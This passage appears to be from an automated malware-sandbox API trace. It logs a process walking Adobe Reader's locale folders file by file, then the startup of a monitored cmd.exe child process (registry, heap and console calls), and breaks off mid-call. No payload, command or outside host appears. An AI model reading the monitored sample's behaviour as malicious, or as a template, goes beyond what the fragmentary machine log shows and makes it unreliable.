ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.RUM", cAlternateFileName="")) returned 1 [0045.716] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.716] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.716] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru_RU", cAlternateFileName="")) returned 1 [0045.716] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.718] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.718] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.RUS", cAlternateFileName="ACCESS~1.RUS")) returned 1 [0045.720] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.720] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.720] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb6ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.721] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.721] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.723] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.RUS", cAlternateFileName="")) returned 1 [0045.723] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.723] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.724] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk_SK", cAlternateFileName="")) returned 1 [0045.724] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.725] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.725] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SKY", cAlternateFileName="ACCESS~1.SKY")) returned 1 [0045.726] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.726] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.726] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.726] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.726] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.726] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SKY", cAlternateFileName="")) returned 1 [0045.727] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.727] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.727] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl_SI", cAlternateFileName="")) returned 1 [0045.727] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.729] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.729] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.SLV", cAlternateFileName="ACCESS~1.SLV")) returned 1 [0045.730] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.732] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.732] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9103, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.732] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.732] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.732] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SLV", cAlternateFileName="")) returned 1 [0045.732] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.733] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.733] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv_SE", cAlternateFileName="")) returned 1 [0045.733] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.949] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.950] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SVE", cAlternateFileName="ACCESS~1.SVE")) returned 1 Thread: id = 25 os_tid = 0xa38 Thread: id = 26 os_tid = 0xac8 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x4dd84000" os_pid = "0x9b4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x9a0" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x9b8 [0032.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1dfa00 | out: lpSystemTimeAsFileTime=0x1dfa00*(dwLowDateTime=0x8e505170, dwHighDateTime=0x1d52095)) [0032.393] GetCurrentProcessId () returned 0x9b4 [0032.393] GetCurrentThreadId () returned 0x9b8 [0032.393] GetTickCount () returned 0x18342 [0032.393] QueryPerformanceCounter (in: lpPerformanceCount=0x1dfa08 | out: lpPerformanceCount=0x1dfa08*=15271675243) returned 1 [0032.394] GetModuleHandleW (lpModuleName=0x0) returned 0x4a270000 [0032.394] __set_app_type (_Type=0x1) [0032.394] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a297810) returned 0x0 [0032.395] __getmainargs (in: _Argc=0x4a2ba608, _Argv=0x4a2ba618, _Env=0x4a2ba610, _DoWildCard=0, _StartInfo=0x4a29e0f4 | out: _Argc=0x4a2ba608, _Argv=0x4a2ba618, _Env=0x4a2ba610) returned 0 [0032.395] GetCurrentThreadId () returned 0x9b8 [0032.395] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x9b8) returned 0x3c [0032.396] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0032.396] GetProcAddress (hModule=0x76e30000, lpProcName="SetThreadUILanguage") returned 0x76e46d40 [0032.396] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0032.396] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0032.396] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1df998 | out: phkResult=0x1df998*=0x0) returned 0x2 [0032.396] VirtualQuery (in: lpAddress=0x1df980, lpBuffer=0x1df900, dwLength=0x30 | out: lpBuffer=0x1df900*(BaseAddress=0x1df000, AllocationBase=0xe0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0032.396] VirtualQuery (in: lpAddress=0xe0000, lpBuffer=0x1df900, dwLength=0x30 | out: lpBuffer=0x1df900*(BaseAddress=0xe0000, AllocationBase=0xe0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0032.396] VirtualQuery (in: lpAddress=0xe1000, lpBuffer=0x1df900, dwLength=0x30 | out: lpBuffer=0x1df900*(BaseAddress=0xe1000, AllocationBase=0xe0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0032.396] VirtualQuery (in: lpAddress=0xe4000, lpBuffer=0x1df900, dwLength=0x30 | out: lpBuffer=0x1df900*(BaseAddress=0xe4000, AllocationBase=0xe0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0032.396] VirtualQuery (in: lpAddress=0x1e0000, lpBuffer=0x1df900, dwLength=0x30 | out: lpBuffer=0x1df900*(BaseAddress=0x1e0000, AllocationBase=0x1e0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0032.396] GetConsoleOutputCP () returned 0x1b5 [0032.396] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a2abfe0 | out: lpCPInfo=0x4a2abfe0) returned 1 [0032.397] SetConsoleCtrlHandler (HandlerRoutine=0x4a293184, Add=1) returned 1 [0032.397] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.397] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0032.397] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.397] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a29e194 | out: lpMode=0x4a29e194) returned 0 [0032.397] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.397] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a29e198 | out: lpMode=0x4a29e198) returned 0 [0032.397] GetEnvironmentStringsW () returned 0x318a60* [0032.397] GetProcessHeap () returned 0x300000 [0032.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa7c) returned 0x3194f0 [0032.397] FreeEnvironmentStringsW (penv=0x318a60) returned 1 [0032.398] GetProcessHeap () returned 0x300000 [0032.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x3188e0 [0032.398] GetEnvironmentStringsW () returned 0x318a60* [0032.398] GetProcessHeap () returned 0x300000 [0032.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa7c) returned 0x319f80 [0032.398] FreeEnvironmentStringsW (penv=0x318a60) returned 1 [0032.398] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1de858 | out: phkResult=0x1de858*=0x44) returned 0x0 [0032.398] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1de850, lpData=0x1de870, lpcbData=0x1de854*=0x1000 | out: lpType=0x1de850*=0x0, lpData=0x1de870*=0x18, lpcbData=0x1de854*=0x1000) returned 0x2 [0032.398] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1de850, lpData=0x1de870, lpcbData=0x1de854*=0x1000 | out: lpType=0x1de850*=0x4, lpData=0x1de870*=0x1, lpcbData=0x1de854*=0x4) returned 0x0 [0032.398] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1de850, lpData=0x1de870, lpcbData=0x1de854*=0x1000 | out: lpType=0x1de850*=0x0, lpData=0x1de870*=0x1, lpcbData=0x1de854*=0x1000) returned 0x2 [0032.398] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1de850, lpData=0x1de870, lpcbData=0x1de854*=0x1000 | out: lpType=0x1de850*=0x4, lpData=0x1de870*=0x0, lpcbData=0x1de854*=0x4) returned 0x0 [0032.398] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1de850, lpData=0x1de870, lpcbData=0x1de854*=0x1000 | out: lpType=0x1de850*=0x4, lpData=0x1de870*=0x40, lpcbData=0x1de854*=0x4) returned 0x0 [0032.398] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1de850, lpData=0x1de870, lpcbData=0x1de854*=0x1000 | out: lpType=0x1de850*=0x4, lpData=0x1de870*=0x40, lpcbData=0x1de854*=0x4) returned 0x0 [0032.398] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1de850, lpData=0x1de870, lpcbData=0x1de854*=0x1000 | out: lpType=0x1de850*=0x0, lpData=0x1de870*=0x40, lpcbData=0x1de854*=0x1000) returned 0x2 [0032.398] RegCloseKey (hKey=0x44) returned 0x0 [0032.398] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1de858 | out: phkResult=0x1de858*=0x44) returned 0x0 [0032.398] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1de850, lpData=0x1de870, lpcbData=0x1de854*=0x1000 | out: lpType=0x1de850*=0x0, lpData=0x1de870*=0x40, lpcbData=0x1de854*=0x1000) returned 0x2 [0032.398] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1de850, lpData=0x1de870, lpcbData=0x1de854*=0x1000 | out: lpType=0x1de850*=0x4, lpData=0x1de870*=0x1, lpcbData=0x1de854*=0x4) returned 0x0 [0032.399] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1de850, lpData=0x1de870, lpcbData=0x1de854*=0x1000 | out: lpType=0x1de850*=0x0, lpData=0x1de870*=0x1, lpcbData=0x1de854*=0x1000) returned 0x2 [0032.399] RegQueryValueExW (in: hKey=0x44, 